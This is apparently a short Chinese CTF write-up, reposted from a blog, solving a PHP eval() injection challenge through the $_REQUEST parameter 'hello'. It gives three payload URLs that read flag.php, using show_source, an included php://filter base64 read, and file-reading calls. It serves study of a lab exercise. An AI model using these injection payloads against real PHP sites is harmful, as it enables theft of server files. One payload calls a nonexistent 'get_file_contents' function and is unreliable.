知識點:$_REQUEST不是一個函數,它是一個超全局變量,里面包括有$_GET $_POST $_COOKIE的值,$_REPUEST 是接收了 $_GET $_POST $_COOKIE 三個的集合
題目中的 地址已經不行了
所以這是轉自https://blog.csdn.net/dyw_666666/article/details/82389457#comments,感謝分享
方法一:eval存在命令執行漏洞,使用hello構造payload
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
方法二:
1.http://120.24.86.145:8003/index.php?hello=1);include $_POST['f'];//
2.在POST區域:f=php://filter/convert.base64-encode/resource=flag.php
Base64解碼即可。
方法三:直接將flag.php文件讀入變量hello中
1.?hello=get_file_contents('flag.php')
2.?hello=file('flag.php')